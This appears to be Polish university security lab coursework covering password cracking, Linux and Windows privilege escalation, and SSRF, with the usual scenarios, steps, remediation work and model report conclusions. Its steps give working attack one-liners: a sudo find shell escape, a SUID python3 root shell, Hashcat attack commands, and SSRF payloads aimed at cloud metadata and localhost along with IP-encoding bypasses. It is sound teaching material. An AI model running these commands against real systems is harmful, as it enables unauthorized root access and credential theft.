Przykładowe wnioski (wzór do sprawozdania): Testy penetracyjne interfejsu REST API wykazały obecność krytycznej luki typu BOLA/IDOR w punkcie końcowym pobierania faktur, gdzie prosta modyfikacja identyfikatora w adresie URL pozwalała na pobranie poufnych dokumentów dowolnego kontrahenta. Eksperyment dowiódł, że poprawne uwierzytelnienie tokenem JWT nie stanowi żadnej ochrony, jeżeli serwer nie sprawdza w logice biznesowej, czy zalogowany podmiot jest rzeczywistym właścicielem żądanego rekordu. Zastąpienie przewidywalnych identyfikatorów sekwencyjnych (ID=1042) kryptograficznie losowymi ciągami UUID v4 uniemożliwiło zautomatyzowane pobieranie bazy danych metodą brute-force. Kluczowym środkiem zaradczym było wdrożenie scentralizowanego filtra autoryzacji weryfikującego relację własności obiektu przed zwróceniem danych z bazy. Badanie to dobitnie potwierdziło, że podatności autoryzacji na poziomie obiektów stanowią obecnie zagrożenie numer jeden w bezpieczeństwie nowoczesnych usług chmurowych i mikrousług.

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon3 Autoryzacja i uwierzytelnianie w systemach komputerowych. Funkcje skrótu i ochrona haseł.

Celem zadania jest zbadanie odporności mechanizmów przechowywania poświadczeń użytkowników w systemach operacyjnych i bazach danych na ataki offline (Offline Password Cracking). Studenci poznają zasady działania zaawansowanych narzędzi audytorskich Hashcat oraz John the Ripper, badając różnorodne techniki ataku: ataki słownikowe, ataki hybrydowe z regułami przekształceń (Rule-based attacks), ataki maskowe (Mask attacks) oraz ataki kombinatoryczne. Projekt uczy wyodrębniania skrótów z plików /etc/shadow (Linux) oraz bazy NTDS.dit / SAM (Windows).

W części kryptoanalitycznej studenci dokonują rygorystycznego porównania szybkości łamania szybkich funkcji skrótu (MD5, SHA-1, NTLM) z wolnymi, pamięciożernymi funkcjami derywacji klucza (KDF: bcrypt, scrypt, PBKDF2, Argon2id). Zadanie pozwala zrozumieć znaczenie unikalnej soli kryptograficznej (Salt) oraz kosztu obliczeniowego i pamięciowego (Cost factors) w odporności na równoległe ataki GPU/ASIC.

Podczas audytu bezpieczeństwa sieci wewnętrznej banku komercyjnego audytorzy uzyskali dostęp do archiwalnej kopii zapasowej bazy danych portalu intranetowego oraz zrzutu bazy SAM z zapomnianego serwera Windows Server 2008. W plikach znajdowało się ponad 1500 skrótów haseł pracowników różnych szczebli – od kasjerów po dyrektorów departamentu bezpieczeństwa.

Wstępna analiza kryptoanalityczna wykazała, że portal intranetowy zapisywał hasła przy użyciu przestarzałego algorytmu MD5 bez soli (Plain MD5), natomiast stacje robocze Windows korzystały z podatnego na ataki tablicami tęczowymi i kolizjami algorytmu NTLM. Jedynie nowy portal bankowości internetowej wykorzystywał algorytm bcrypt z kosztem obliczeniowym work factor = 12.

Zarząd banku zażądał przeprowadzenia kontrolowanego audytu odporności haseł (Password Audit) w celu zidentyfikowania pracowników stosujących słabe hasła frazowe, hasła oparte na nazwach pór roku i nazwach miast, a także oszacowania czasu potrzebnego potencjalnemu intruzowi na odzyskanie haseł z wykradzionych baz.

Grupa laboratoryjna przyjmuje zadanie przeprowadzenia audytu offline. Studenci muszą zidentyfikować typy skrótów, przygotować zoptymalizowane słowniki słów w języku polskim (np. słowniki wyciekowe dostosowane do realiów polskich), opracować reguły mutacji (podmiana 'a' na '@', 'e' na '3', dopisywanie bieżącego roku) oraz przetestować łamanie z wykorzystaniem narzędzi Hashcat i John the Ripper.

Sprawozdanie musi zawierać statystykę złamanych haseł, analizę złożoności, porównanie liczby hashy na sekundę (H/s) osiąganych na CPU/GPU dla algorytmów NTLM vs Argon2id/bcrypt oraz rekomendacje dotyczące natychmiastowej migracji systemów uwierzytelniania.

• Narzędzie Hashcat (obsługa OpenCL/CUDA dla kart graficznych i CPU)
• Narzędzie John the Ripper (JtR) wersja Jumbo z obsługą formatów shadow/ntlm
• Zestaw słowników wyciekowych (np. rockyou.txt, polskie słowniki frekwencyjne)
• Narzędzia konwersji i ekstrakcji: unshadow, samdump2, secretsdump.py
• Skrypt Python z bibliotekami passlib i argon2-cffi do benchmarkingu algorytmów KDF

1. Zidentyfikowanie formatów i typów skrótów kryptograficznych za pomocą narzędzia hashid / hash-identifier.
2. Ekstrakcja skrótów z plików systemowych Linux (/etc/passwd i /etc/shadow) za pomocą narzędzia unshadow.
3. Przygotowanie środowiska testowego Hashcat i weryfikacja obsługiwanych urządzeń obliczeniowych (hashcat -I).
4. Przeprowadzenie testu wydajnościowego (Benchmark) dla algorytmów: NTLM (mode 1000), SHA-256 (mode 1400), bcrypt (mode 3200) i Argon2id.
5. Porównanie rzędów wielkości przepustowości: analiza, dlaczego GPU osiąga miliardy hashy NTLM/s, a jedynie kilkaset/kilka tysięcy hashy bcrypt/s.
6. Przeprowadzenie podstawowego ataku słownikowego z użyciem listy rockyou.txt na próbce skrótów NTLM.
7. Opracowanie dedykowanego pliku reguł mutacji w języku polskim (dopisywanie znaków '!', '2026', kapitalizacja pierwszej litery).
8. Uruchomienie ataku hybrydowego (słownik + reguły): hashcat -a 0 -m 1000 hashes.txt slownik.txt -r reguly.rule.
9. Zaprojektowanie ataku maskowego (Mask Attack) na hasła 8-znakowe o strukturze: Duża litera + małe litery + 2 cyfry + znak specjalny (?u?l?l?l?l?d?d?s).
10. Zbadanie przestrzeni kluczy i czasu przeszukiwania pełnej przestrzeni dla haseł o różnej długości (8 vs 12 vs 16 znaków).
11. Analiza soli kryptograficznej: demonstracja, dlaczego unikalna losowa sól uniemożliwia stosowanie tablic tęczowych i wymusza oddzielne łamanie każdego konta.
12. Przetestowanie łamania skrótów Linux SHA-512 crypt ($6$) oraz analiza wpływu parametru rounds na czas weryfikacji.
13. Napisanie skryptu w Pythonie mierzącego czas generowania skrótu Argon2id w zależności od parametrów: time_cost, memory_cost, parallelism.
14. Wygenerowanie raportu statystycznego: procent haseł złamanych w pierwszych 10 minutach, najczęstsze wzorce i błędy użytkowników.
15. Sformułowanie zaleceń dotyczących wdrożenia kontroli jakości haseł w czasie rzeczywistym przed ich zapisaniem do bazy (haveibeenpwned API / pwquality).
16. Zaprojektowanie polityki wycofania algorytmu NTLM w domenie Windows na rzecz protokołu Kerberos AES.
17. Podsumowanie wyników w sprawozdaniu laboratoryjnym z wykresami porównawczymi wydajności algorytmów.

Zasadniczą różnicą pomiędzy funkcjami skrótu ogólnego przeznaczenia (MD5, SHA-256) a algorytmami haszowania haseł (bcrypt, Argon2id) jest cel ich konstrukcji. SHA-256 został zaprojektowany, aby być jak najszybszym przy weryfikacji integralności plików. W ochronie haseł szybkość jest śmiertelnym zagrożeniem, ponieważ pozwala napastnikowi testować miliardy kombinacji na sekundę. Dobre algorytmy haseł muszą być celowo powolne i wymagać dużej ilości pamięci RAM (Memory-Hard Functions), co neutralizuje przewagę kart graficznych i układów ASIC.

Poniżej przedstawiono przykładowe polecenia benchmarku i ataku hybrydowego narzędziem Hashcat:

Uruchomienie ataku słownikowego z regułami na skróty haseł systemu Windows NTLM:

Badanie czasu generowania skrótu Argon2id w języku Python w zależności od alokacji pamięci RAM:

1. Klasyfikacja i matematyka ataków na skróty haseł: ataki słownikowe, ataki siłowe (Brute-Force), ataki maskowe (Mask Attacks) oraz ataki oparte o reguły (Rule-based).
2. Rola akceleracji sprzętowej GPU (OpenCL/CUDA) w wielomiliardowym przyspieszeniu łamania prostych funkcji skrótu (MD5, NTLM, SHA-1).
3. Odporność wolnych, pamięciożernych funkcji wyprowadzania klucza (KDF: Argon2id, bcrypt, scrypt, PBKDF2) na paralelizację w układach graficznych i ASIC.
4. Wpływ unikalnej, kryptograficznej soli (Salt) na unieważnienie ataków z użyciem wstępnie wyliczonych tablic tęczowych (Rainbow Tables).
5. Metodyka audytu jakości haseł w organizacji na podstawie wyekstrahowanych skrótów z pliku ntds.dit lub /etc/shadow.
6. Aspekty etyczne i prawne łamania poświadczeń w ramach kontrolowanych testów penetracyjnych i wymóg niszczenia baz haseł po audycie.

Przykładowe wnioski (wzór do sprawozdania): Praktyczne warsztaty z wykorzystaniem narzędzi Hashcat i John the Ripper obnażyły drastyczną różnicę w odporności pomiędzy szybkimi funkcjami skrótu (NTLM, SHA-1) a nowoczesnymi funkcjami KDF, takimi jak bcrypt czy Argon2id. Wykorzystanie mocy obliczeniowej procesora graficznego GPU pozwoliło na złamanie 8-znakowych haseł NTLM opartych na prostych maskach i słownikach w czasie poniżej kilkunastu minut. Testy potwierdziły, że dodanie unikalnej kryptograficznej soli uniemożliwia jednoczesne atakowanie wielu kont za pomocą gotowych tablic tęczowych, zmuszając audytora do indywidualnego przeszukiwania przestrzeni dla każdego użytkownika. Wykazano, że jedyną skuteczną barierą przed łamaniem poświadczeń offline jest stosowanie długich haseł frazowych (passphrases) oraz pamięciożernych funkcji KDF o wysokim parametrze kosztu obliczeniowego. Przeprowadzony audyt dostarczył twardych danych dowodzących konieczności odejścia od przestarzałych protokołów NTLM w domenie Windows na rzecz protokołu Kerberos.

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon3 Autoryzacja i uwierzytelnianie w systemach komputerowych. Prawa dostępu i mechanizmy jądra systemu.

Celem zadania jest przeprowadzenie zaawansowanego audytu bezpieczeństwa konfiguracji systemu operacyjnego Linux pod kątem podatności umożliwiających lokalną eskalację uprawnień (Local Privilege Escalation - LPE) ze zwykłego konta użytkownika do uprawnień administratora root. Studenci poznają metodykę i wektory ataków na mechanizmy kontroli dostępu jądra: binarne pliki z bitem SUID/SGID, niebezpieczne wpisy w pliku /etc/sudoers (np. NOPASSWD, pomijanie bezpiecznych ścieżek), nadmiarowe zdolności linuksowe (Linux Capabilities) oraz podatne skrypty w harmonogramie cron.

W części defensywnej studenci opracowują i wdrażają procedurę utwardzania systemu (Hardening) zgodnie z zaleceniami CIS Benchmark for Linux: audytują system narzędziem Lynis, eliminują zbędne bity SUID, konfigurują moduł jądra AppArmor / SELinux oraz zabezpieczają uprawnienia do kluczowych plików systemowych.

Dostawca usług chmurowych CloudHost Polska Sp. z o.o. udostępnia klientom środowiska współdzielonego hostingu WWW opartego na systemie Linux Debian. Klienci posiadają dostęp do powłoki SSH z ograniczonymi uprawnieniami (unprivileged user), aby móc zarządzać swoimi skryptami i bazami danych. Zgodnie z umową SLA, środowiska poszczególnych klientów muszą być od siebie ściśle odizolowane, a użytkownik nie może mieć wglądu w procesy ani pliki innych abonentów.

Jeden z młodszych administratorów, chcąc ułatwić klientom diagnostykę sieci i tworzenie kopii zapasowych, nadał bit SUID programom /usr/bin/python3 oraz /bin/tar, a w pliku /etc/sudoers dodał dla grupy klientów wpis zezwalający na uruchamianie polecenia /usr/bin/find bez podawania hasła (NOPASSWD).

Podczas wewnętrznych testów penetracyjnych audytor bezpieczeństwa przejął testowe konto klienta o niskich uprawnieniach i w ciągu kilkudziesięciu sekund uzyskał pełną powłokę administratora root, wykorzystując znaną technikę GTFOBins na programie find (sudo find . -exec /bin/sh \; -quit) oraz eskalację przez binarkę Pythona z bitem SUID. Przejęcie konta root oznaczało całkowitą kompromitację serwera hostingowego, umożliwiając odczytanie haseł i baz danych wszystkich pozostałych klientów.

Dyrektor ds. Technologii nakazał natychmiastowe przeprowadzenie pełnego audytu bezpieczeństwa wszystkich maszyn serwerowych, wyeliminowanie niebezpiecznych uprawnień oraz wdrożenie zautomatyzowanego skanowania konfiguracji pod kątem luk LPE.

Grupa laboratoryjna musi zasymulować środowisko podatne, uruchomić skrypt audytorski LinPEAS, zidentyfikować podatności eskalacji, przeprowadzić kontrolowaną demonstrację PoC przejęcia uprawnień root, a następnie zaimplementować wytyczne utwardzania systemu (CIS Benchmark) i zweryfikować stan zabezpieczeń skanerem Lynis.

• Maszyna wirtualna Linux Debian / Ubuntu z kontem zwykłego użytkownika
• Narzędzie audytorskie LinPEAS (Linux Privilege Escalation Awesome Script)
• Narzędzie do audytu bezpieczeństwa i benchmarku CIS: Lynis
• Narzędzia systemowe: find, getcap, setcap, sudo -l, auditd
• Baza wiedzy i technik eskalacji GTFOBins (gtfobins.github.io)

1. Zalogowanie się na stację roboczą z uprawnieniami zwykłego użytkownika bez praw roota.
2. Wstępna enumeracja uprawnień: analiza wyniku polecenia id, groups oraz sudo -l.
3. Wyszukanie wszystkich plików w systemie posiadających aktywny bit SUID: find / -perm -4000 -type f 2>/dev/null.
4. Analiza znalezionych plików pod kątem występowania w repozytorium technik GTFOBins.
5. Identyfikacja nadmiarowych zdolności Linuksa przypisanych do plików binarnych: getcap -r / 2>/dev/null.
6. Weryfikacja praw do zapisu w krytycznych plikach systemowych: /etc/passwd, /etc/shadow, /etc/crontab.
7. Pobranie i uruchomienie skryptu audytorskiego LinPEAS w pamięci bez zapisywania śladów na dysku.
8. Analiza raportu LinPEAS pod kątem wektorów oznaczonych kolorem czerwonym/żółtym (pewne i wysoce prawdopodobne wektory LPE).
9. Zademonstrowanie techniki eskalacji uprawnień przez niepoprawny wpis sudoers na programie find lub vim.
10. Zademonstrowanie eskalacji przez binarkę Pythona z bitem SUID: /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'.
11. Weryfikacja uzyskania tożsamości roota (uid=0(root) gid=0(root)).
12. Rozpoczęcie procedury naprawczej: odebranie bitu SUID zbędnym programom za pomocą chmod u-s <plik>.
13. Usunięcie niebezpiecznych wpisów NOPASSWD z pliku /etc/sudoers przy użyciu polecenia visudo.
14. Konfiguracja montowania partycji tymczasowych /tmp oraz /dev/shm z opcjami noexec, nosuid, nodev w /etc/fstab.
15. Uruchomienie skanera podatności konfiguracyjnych Lynis: lynis audit system --quick.
16. Zbadanie wskaźnika Hardening Index przed i po wdrożeniu poprawek (cel: wynik powyżej 80/100).
17. Sformułowanie procedury cyklicznego monitorowania integralności plików SUID za pomocą demona auditd i sprawozdanie.

Podczas konfigurowania pliku /etc/sudoers nigdy nie używaj zwykłego edytora tekstu (np. nano czy vim bezpośrednio na pliku). Zawsze stosuj dedykowane polecenie `visudo`. Sprawdza ono składnię pliku przed zapisem, zapobiegając błędom składniowym, które mogłyby trwale zablokować możliwość korzystania z uprawnień administratora w całym systemie.

Poniżej przedstawiono przykładowe polecenia enumeracji i eskalacji uprawnień za pomocą pliku z bitem SUID oraz GTFOBins:

Eskalacja uprawnień do konta root za pomocą programu find z uprawnieniem sudoers:

Procedura utwardzania i audyt bezpieczeństwa systemu za pomocą narzędzia Lynis:

1. Wektory lokalnej eskalacji uprawnień (LPE) w środowiskach Linux: błędy w konfiguracji /etc/sudoers (uprawnienia NOPASSWD, brak secure_path).
2. Analiza niebezpiecznych plików z bitem SUID/SGID i wykorzystanie technik GTFOBins do uzyskania uprawnień roota.
3. Rola mechanizmu Linux Capabilities (np. cap_setuid, cap_net_raw, cap_dac_override) w zastępowaniu pełnych uprawnień SUID.
4. Wykrywanie podatnych zadań harmonogramu Cron (błędy uprawnień do skryptów, zapisywalne ścieżki PATH, Wildcard Injection).
5. Analiza logów audytowych (auditd) i dzienników systemowych w toku badania prób naruszenia integralności kont.
6. Standardy utwardzania systemów Linux (CIS Benchmarks) w zakresie minimalizacji oprogramowania i restrykcyjnych uprawnień w systemie plików.

Przykładowe wnioski (wzór do sprawozdania): Audyt uprawnień lokalnych w systemie Linux ujawnił powszechny błąd konfiguracyjny polegający na przyznaniu użytkownikowi prawa sudo do edytora tekstu bez hasła, co pozwoliło na błyskawiczne zespawnowanie powłoki z prawami roota za pomocą technik GTFOBins. Zidentyfikowanie niestandardowego pliku binarnego z aktywnym bitem SUID dowiodło, że administratorzy często nieświadomie otwierają krytyczne wektory eskalacji uprawnień podczas instalowania lokalnych narzędzi pomocniczych. Zastosowanie mechanizmu Linux Capabilities umożliwiło ograniczenie uprawnień programów sieciowych wyłącznie do niezbędnych operacji (np. cap_net_bind_service) bez konieczności nadawania im pełnych przywilejów konta root. Przegląd zadań harmonogramu Cron wykazał skrypt z uprawnieniami zapisu dla grupy użytkowników, co w toku symulacji pozwoliło na wstrzyknięcie złośliwej komendy i przejęcie kontroli nad systemem. Wdrożenie zaleceń standardu CIS Linux Benchmark trwale usunęło zidentyfikowane luki, zapewniając bezpieczną separację środowisk użytkowników.

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon3 Autoryzacja i uwierzytelnianie w systemach komputerowych. Bezpieczeństwo systemu Windows i usług.

Celem zadania jest zbadanie podatności konfiguracyjnych systemu operacyjnego Microsoft Windows oraz środowiska Active Directory umożliwiających lokalną eskalację uprawnień z poziomu konta standardowego użytkownika domenowego do poziomu NT AUTHORITY\SYSTEM. Studenci analizują klasyczne i współczesne wektory podatności: niescytowane ścieżki usług systemowych (Unquoted Service Paths), podatne uprawnienia do plików binarnych usług (Weak Service Permissions / DLL Hijacking), niebezpieczne ustawienia instalatora Windows (AlwaysInstallElevated) oraz niezaszyfrowane hasła zapisane w rejestrze lub plikach nienadzorowanej instalacji (Unattended Install Files).

W ramach laboratorium studenci przeprowadzają zautomatyzowany audyt za pomocą narzędzia WinPEAS, weryfikują konfigurację rejestru poleceniami PowerShell oraz wdrażają procedury naprawcze eliminujące luki w usługach firm trzecich zgodnie z wytycznymi bezpieczeństwa Microsoft i CIS Benchmark for Windows.

W Korporacji Ubezpieczeniowej Vistula Assurance wdrożono na 400 stacjach roboczych pracowników call-center oprogramowanie zewnętrzne do nagrywania rozmów i monitorowania ekranu dostarczone przez firmę trzecią. Instalator oprogramowania zarejestrował w systemie usługę Windows o nazwie 'AudioCaptureSvc', która uruchamia się automatycznie z uprawnieniami konta NT AUTHORITY\SYSTEM.

Podczas instalacji oprogramowania popełniono podręcznikowy błąd konfiguracyjny: ścieżka do pliku wykonywalnego zawierała spacje i nie została ujęta w cudzysłowy (C:\Program Files\Audio Recorder Pro\capture.exe), a katalog C:\Program Files\Audio Recorder Pro posiadał uprawnienia zapisu dla wbudowanej grupy 'Users' (Full Control / Write).

Pracownik działu obsługi klienta o najniższych uprawnieniach zdołał umieścić w katalogu C:\Program Files plik wykonywalny o nazwie 'Audio.exe'. Podczas restartu komputera system Windows, parsując niescytowaną ścieżkę, w pierwszej kolejności uruchomił złośliwy program Audio.exe z uprawnieniami NT AUTHORITY\SYSTEM zamiast właściwego pliku capture.exe. Złośliwy kod utworzył ukryte konto administratora lokalnego i umożliwił zrzucenie poświadczeń z procesu LSASS.

Incydent został wykryty przez system EDR po fakcie, co wywołało natychmiastową kontrolę stanu zabezpieczeń wszystkich 400 komputerów w domenie.

Grupa laboratoryjna musi zasymulować podatne środowisko Windows, przeprowadzić audyt zautomatyzowany za pomocą narzędzia WinPEAS / skryptu PowerShell, zademonstrować mechanizm eskalacji Unquoted Service Path oraz wdrożyć bezpieczną konfigurację usług za pomocą polecenia sc config i zasad GPO.

• Windows 10/11 Enterprise / Windows Server z kontem zwykłego użytkownika domenowego
• Narzędzie audytorskie WinPEAS (Windows Privilege Escalation Awesome Script)
• Narzędzie AccessChk z pakietu Sysinternals do badania uprawnień do usług i folderów
• Konsola PowerShell 7.x z wbudowanymi modułami zarządzania usługami i rejestrem
• Narzędzie Process Hacker / Process Explorer do inspekcji uprawnień procesów

1. Zalogowanie się na stację Windows z uprawnieniami zwykłego użytkownika domeny (brak uprawnień lokalnego administratora).
2. Zbadanie konfiguracji usług systemowych pod kątem niescytowanych ścieżek zawierających spacje za pomocą polecenia wmic / PowerShell.
3. Weryfikacja uprawnień do zapisu w poszczególnych folderach wzdłuż ścieżki za pomocą narzędzia accesschk.exe.
4. Sprawdzenie kluczy rejestru AlwaysInstallElevated w gałęziach HKLM i HKCU (potencjalna eskalacja przez pliki .msi).
5. Wyszukanie niezaszyfrowanych haseł w plikach Unattend.xml, sysprep.inf oraz w rejestrze systemowym za pomocą poleceń Find-All-Passwords.
6. Uruchomienie narzędzia audytorskiego WinPEAS.bat / WinPEAS.exe w celu zmapowania wszystkich wektorów eskalacji.
7. Analiza raportu WinPEAS: identyfikacja podatnej usługi 'AudioCaptureSvc' (Unquoted Service Path).
8. Przygotowanie nieszkodliwego pliku wykonywalnego PoC (np. program dodający znacznik tekstowy do pliku C:\pwned.txt).
9. Umieszczenie pliku PoC o nazwie Audio.exe w katalogu nadrzędnym C:\Program Files\.
10. Zrestartowanie usługi lub komputera i zweryfikowanie wykonania pliku Audio.exe z uprawnieniami konta SYSTEM.
11. Zbadanie procesu LSASS pod kątem ochrony LSA Protection (RunAsPPL) uniemożliwiającej zrzut haseł z pamięci.
12. Rozpoczęcie procedury naprawczej: zabezpieczenie ścieżki usługi poprzez dodanie prawidłowych cudzysłowów poleceniem sc config.
13. Poprawienie uprawnień NTFS do folderu aplikacji za pomocą polecenia icacls (odebranie grupie Users uprawnień zapisu).
14. Wyłączenie kluczy AlwaysInstallElevated w rejestrze systemowym.
15. Opracowanie polityki GPO sprawdzającej integralność ścieżek instalacyjnych oprogramowania firm trzecich.
16. Ponowne uruchomienie skanowania WinPEAS w celu potwierdzenia wyeliminowania podatności.
17. Sformułowanie raportu audytorskiego z analizą podatności i zaleceniami wdrożeniowymi dla działu IT.

Podatność Unquoted Service Path wynika ze sposobu, w jaki funkcja WinAPI CreateProcess interpretuje ścieżki bez cudzysłowów zawierające spacje. Jeśli ścieżka to C:\Program Files\Audio Recorder Pro\capture.exe, system Windows próbuje kolejno uruchomić: 1) C:\Program.exe, 2) C:\Program Files\Audio.exe, 3) C:\Program Files\Audio Recorder.exe, i dopiero na końcu właściwy plik. Jeśli użytkownik ma uprawnienia zapisu w którymkolwiek z tych folderów, może przejąć kontrolę nad systemem.

Poniżej przedstawiono polecenie PowerShell wyszukujące wszystkie usługi z niescytowanymi ścieżkami oraz ich naprawę:

Weryfikacja uprawnień do katalogu aplikacji za pomocą narzędzia AccessChk z pakietu Sysinternals:

Naprawa podatności poprzez dodanie cudzysłowów w konfiguracji usługi oraz zablokowanie uprawnień zapisu:

1. Wektory eskalacji uprawnień w Active Directory: ataki Kerberoasting na konta z zarejestrowanym Service Principal Name (SPN).
2. Podatności niecytowanych ścieżek usług (Unquoted Service Paths) oraz nieprawidłowych uprawnień do plików binarnych usług (Weak Service Permissions).
3. Analiza podatności tokenów bezpieczeństwa: kradzież uprawnień SeImpersonatePrivilege za pomocą narzędzi z rodziny Potato (PrintSpoofer, SweetPotato).
4. Wykorzystanie narzędzi audytorskich (BloodHound, PowerView) do kartowania ukrytych ścieżek ataku (Attack Paths) w strukturze domeny AD.
5. Metody mitygacji: wymuszenie silnego szyfrowania AES dla biletów Kerberos, regularna zmiana haseł kont usługowych i wdrożenie kont gMSA (Group Managed Service Accounts).
6. Zasady ochrony procesu LSASS (LSA Protection / Credential Guard) przed odczytem skrótów i poświadczeń przez narzędzia typu Mimikatz.

Przykładowe wnioski (wzór do sprawozdania): Badanie bezpieczeństwa infrastruktury Windows Active Directory wykazało obecność konta usługowego z zarejestrowanym rekordem SPN i słabym hasłem, co umożliwiło przeprowadzenie ataku Kerberoasting i odzyskanie poświadczeń administratora bazy danych w trybie offline. Wykrycie usługi systemowej o niecytowanej ścieżce (Unquoted Service Path) w katalogu z prawami zapisu dla zwykłych użytkowników potwierdziło obecność lokalnego wektora eskalacji do uprawnień NT AUTHORITY\SYSTEM. Zastosowanie narzędzia BloodHound pozwoliło na graficzne zobrazowanie ukrytych relacji zaufania i ujawniło, że pozornie niegroźne uprawnienie GenericAll do grupy pomocniczej pozwalało na przejęcie konta Domain Admin. Wdrożenie kont zarządzanych przez grupę (gMSA) z automatyczną rotacją 128-znakowych haseł całkowicie wyeliminowało ryzyko ataków na bilety serwisowe Kerberos. Aktywacja mechanizmu Windows Defender Credential Guard uniemożliwiła ekstrakcję biletów i skrótów NTLM z pamięci procesu LSASS, drastycznie podnosząc cyberodporność domeny.

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon2 Warunki zapewnienia poufności i integralności informacji. Podatności komunikacji międzyserwisowej.

Celem zadania jest zbadanie mechanizmów powstawania i eksploatacji podatności Server-Side Request Forgery (SSRF) w nowoczesnych aplikacjach webowych opartych na architekturze mikroserwisowej oraz wdrożenie wielowarstwowych zabezpieczeń sieciowych i aplikacyjnych. Studenci badają, w jaki sposób podatna aplikacja webowa może zostać zmuszona przez napastnika do wysyłania nieautoryzowanych żądań HTTP wewnątrz prywatnej sieci korporacyjnej (Intranet) lub do instancji chmurowych (odpytywanie interfejsów Cloud Metadata Service, np. 169.254.169.254 w AWS/GCP/Azure).

W części naprawczej zadanie wymaga zaimplementowania rygorystycznej walidacji adresów URL (Strict URL Whitelisting), blokowania prywatnych zakresów adresowych (RFC 1918, adresy pętli zwrotnej 127.0.0.1, adresy link-local 169.254.0.0/16) z uwzględnieniem technik omijania filtrów (DNS Rebinding, parsowanie alternatywnych formatów IP) oraz konfiguracji reguł zapory ogniowej iptables/nftables blokujących ruch wychodzący z serwera aplikacji do stref wrażliwych.

Platforma analityczna FinStat Polska Sp. z o.o. udostępnia instytucjom finansowym narzędzie do generowania raportów giełdowych. Jedną z funkcji panelu jest moduł 'Importuj wykres ze źródła zewnętrznego', w którym użytkownik może podać adres URL wykresu (np. https://gpw.pl/wykres.png), a serwer pobiera plik graficzny, konwertuje go do formatu PDF i dołącza do raportu.

W module pobierania zastosowano prostą bibliotekę cURL bez żadnej weryfikacji docelowego adresu IP. Podczas audytu bezpieczeństwa testerzy wprowadzili w polu adresu URL wartość: http://127.0.0.1:8500/v1/agent/members. Serwer aplikacji odpytał wewnętrzny interfejs systemu HashiCorp Consul (działający na localhost i dostępny bez uwierzytelnienia) i zwrócił w treści generowanego dokumentu pełną listę serwerów klastra, klucze API oraz tokeny dostępowe do baz produkcyjnych.

Kolejne zapytanie skierowane na adres http://192.168.50.1:80/ unieważniło konfigurację routera brzegowego w sieci wewnętrznej, do której dostęp ze świata zewnętrznego był całkowicie zablokowany zaporą ogniową. Podatność SSRF przekształciła serwer aplikacyjny w swoisty serwer proxy dla napastnika, pozwalając mu na swobodne skanowanie i atakowanie wewnętrznych zasobów infrastruktury korporacyjnej.

Zarząd FinStat nakazał natychmiastowe zablokowanie możliwości odpytywania jakichkolwiek zasobów wewnętrznych przez moduł importu oraz wdrożenie mechanizmów zapobiegających ominięciu filtrów za pomocą techniki DNS Rebinding.

Zadaniem grupy laboratoryjnej jest zbadanie podatności SSRF, opracowanie bezpiecznego modułu walidacji adresów URL w języku programowania (weryfikacja po rozwiązaniu nazwy DNS, sprawdzanie czy adres IP nie należy do puli prywatnej/zastrzeżonej) oraz skonfigurowanie reguł zapory ogniowej nftables uniemożliwiających procesowi serwera www inicjowanie połączeń do sieci LAN i metadanych chmurowych.

• Środowisko podatne: Juice Shop / WebGoat / dedykowany skrypt Node.js/Python z podatnością SSRF
• Narzędzie Burp Suite Community Edition z wtyczką Collaborator / serwer interactsh
• Linux iptables / nftables do konfiguracji reguł filtrowania ruchu wychodzącego
• Narzędzie dig / dnsmasq do symulacji ataków DNS Rebinding
• cURL do weryfikacji zachowania endpointu

1. Zidentyfikowanie parametrów aplikacji przyjmujących adresy URL i pobierających zasoby z sieci.
2. Wysłanie żądania sondującego na adres pętli zwrotnej http://localhost:80/ oraz http://127.0.0.1:8080/.
3. Przetestowanie dostępu do interfejsu metadanych chmury: http://169.254.169.254/latest/meta-data/.
4. Przetestowanie technik omijania filtrów prostych: użycie formatu dziesiętnego adresu IP (np. 2130706433 zamiast 127.0.0.1) oraz formatu szesnastkowego (0x7f000001).
5. Ominięcie filtrów za pomocą alternatywnych domen mapujących na localhost (np. http://localtest.me, nip.io).
6. Zbadanie mechanizmu ataku DNS Rebinding: symulacja zmiany rekordu A w trakcie dwóch kolejnych zapytań (krótkie TTL=0).
7. Zmapowanie wewnętrznej podsieci prywatnej 192.168.50.0/24 za pomocą zautomatyzowanego skryptu odpytującego porty przez SSRF.
8. Ocena powagi podatności SSRF wg standardu CVSS v3.1 (wektor CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Ocena 9.3 Critical).
9. Zaprojektowanie bezpiecznego algorytmu pobierania: pobranie URL -> translacja DNS na IP -> weryfikacja IP z czarną listą RFC 1918 -> nawiązanie połączenia bezpośrednio z IP.
10. Zaimplementowanie biblioteki blokującej przekierowania HTTP (Follow Redirects = false), aby uniemożliwić ominięcie walidacji kodem 302.
11. Konfiguracja reguł zapory sieciowej nftables blokującej ruch wychodzący z użytkownika www-data do sieci prywatnych.
12. Zablokowanie ruchu do podsieci link-local 169.254.0.0/16 na poziomie reguł jądra Linux.
13. Wdrożenie dedykowanego izolowanego serwera proxy (Egress Proxy) do obsługi zapytań wychodzących z filtrowaniem domen.
14. Przetestowanie aplikacji po wdrożeniu poprawek (weryfikacja rzucenia wyjątku SecurityException przy próbie odpytania 127.0.0.1).
15. Opracowanie instrukcji bezpiecznego projektowania mikroserwisów (brak zaufania do ruchu wewnątrz sieci firmowej).
16. Zaprojektowanie monitorowania logów sieciowych pod kątem nietypowych połączeń wychodzących z serwera www.
17. Sporządzenie sprawozdania laboratoryjnego z analizą kodu źródłowego i regułami nftables.

Powszechnym błędem programistów jest walidacja adresu URL przed jego pobraniem, a następnie przekazanie oryginalnego adresu URL do funkcji pobierającej biblioteki HTTP. Otwiera to drogę do ataku DNS Rebinding: pierwsze zapytanie DNS zwraca publiczny adres IP (walidacja przechodzi), a ułamek sekundy później biblioteka cURL wykonuje drugie zapytanie DNS, które zwraca adres 127.0.0.1. Prawidłowa ochrona wymaga nawiązania połączenia bezpośrednio pod zweryfikowany adres IP.

Poniżej przedstawiono bezpieczną procedurę walidacji adresu IP w języku Python uniemożliwiającą ataki SSRF i DNS Rebinding:

Blokowanie połączeń do sieci wewnętrznej dla procesu serwera www (użytkownik www-data) za pomocą reguł nftables w Linux:

